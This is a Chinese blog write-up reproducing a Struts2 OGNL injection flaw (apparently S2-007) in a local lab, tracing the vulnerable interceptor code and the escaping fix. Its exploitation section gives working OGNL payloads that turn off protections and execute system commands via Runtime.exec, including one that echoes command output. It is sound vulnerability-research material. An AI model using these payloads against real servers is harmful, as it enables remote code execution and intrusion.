前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-006 跳过了,因为它的描述太简陋了,无法复现出漏洞环境,以后有空或许会从源码层面再看一看。
环境搭建
2.2.1 版本 struts2 + tomcat9,给 Action 加上一个 int 类型的成员,修改传值的表单,再添加一个 input 的 result。
漏洞利用
在定义为 int 的成员对应的输入框处输入 OGNL 表达式:
'+(#application)+'
可以看到打印出了很多运行和配置的信息,贴几个借的执行命令和回显的表达式,也可以借鉴前面的 S2-003/S2-005 的 payload,这里贴几个借的 payload:
# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
漏洞分析
根据漏洞公告,漏洞场景是在发生类型转换时,会将用户输入当作 OGNL 表达式来执行,比如上面漏洞利用中使用的字符串就无法转换为需要的 int 类型而导致错误。详细的漏洞报告里面说漏洞发生在 ConversionErrorInterceptor 类和 RepopulateConversionErrorFieldValidatorSupport 类中,在实际调试中,漏洞发生在 ConversionErrorInterceptor 类的 intercept 方法中:
@Override
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext invocationContext = invocation.getInvocationContext();
Map<String, Object> conversionErrors = invocationContext.getConversionErrors();
ValueStack stack = invocationContext.getValueStack();
HashMap<Object, Object> fakie = null;
for (Map.Entry<String, Object> entry : conversionErrors.entrySet()) {
String propertyName = entry.getKey();
Object value = entry.getValue();
if (shouldAddError(propertyName, value)) {
String message = XWorkConverter.getConversionErrorMessage(propertyName, stack);
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
ValidationAware va = (ValidationAware) action;
va.addFieldError(propertyName, message);
}
if (fakie == null) {
fakie = new HashMap<Object, Object>();
}
fakie.put(propertyName, getOverrideExpr(invocation, value));
}
}
if (fakie != null) {
// if there were some errors, put the original (fake) values in place right before the result
stack.getContext().put(ORIGINAL_PROPERTY_OVERRIDE, fakie);
invocation.addPreResultListener(new PreResultListener() {
public void beforeResult(ActionInvocation invocation, String resultCode) {
Map<Object, Object> fakie = (Map<Object, Object>) invocation.getInvocationContext().get(ORIGINAL_PROPERTY_OVERRIDE);
if (fakie != null) {
invocation.getStack().setExprOverrides(fakie);
}
}
});
}
return invocation.invoke();
}
如果发生了类型转换错误,哈希表 conversionErrors 中就会保存转换前的用户输入,即表示名的 propertyName 和变量值的 value,然后会执行:
shouldAddError(propertyName, value)
来判断是否添加这个错误,而:
protected boolean shouldAddError(String propertyName, Object value) {
return true;
}
这个函数的返回值用为 true,所以会执行:
fakie.put(propertyName, getOverrideExpr(invocation, value));
将他们放入一个新的哈希表 fakie 中,而 getOverrideExpr 是一个拼接字符串的操作:
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return "'" + value + "'";
}
给输入拼上了前后两个单引号,所以漏洞利用时要进行闭合。
最后添加一个 PreResult 监听器(看名字是在渲染 Action 的 result 之前触发),并将 fakie 保存起来:
invocation.getStack().setExprOverrides(fakie);
接下来找找什么时候会用到,先看看 setExprOverrides 的处理:
public void setExprOverrides(Map<Object, Object> overrides) {
if (this.overrides == null) {
this.overrides = overrides;
} else {
this.overrides.putAll(overrides);
}
}
看名字 overrides,推测这个错误信息应该是用在渲染模板时的,因为类型转换失败,所以调用成员的 setter 必然是失败的,而渲染模板可能还需要这个成员,所以将原始输入保存起来,渲染模板时可以以成员名作为键访问。
根据变量名 overrides 找到 lookupForOverrides 方法:
private String lookupForOverrides(String expr) {
if ((overrides != null) && overrides.containsKey(expr)) {
expr = (String) overrides.get(expr);
}
return expr;
}
然后断点,找到将其作为表达式执行的 tryFindValue 方法:
private Object tryFindValue(String expr, Class asType) throws OgnlException {
Object value = null;
try {
expr = lookupForOverrides(expr);
value = getValue(expr, asType);
if (value == null) {
value = findInContext(expr);
}
} finally {
context.remove(THROW_EXCEPTION_ON_FAILURE);
}
return value;
}
可以看到将找到的原始输入当作表达式又执行了一遍,触发了漏洞。
漏洞修复
拼接单引号的时候加了点料:
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return escape(value);
}
protected String escape(Object value) {
return "\"" + StringEscapeUtils.escapeJava(String.valueOf(value)) + "\"";
}
做了过滤,具体的可以看 StringEscapeUtils 类的 escapeJavaStyleString 方法。
参考文章:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!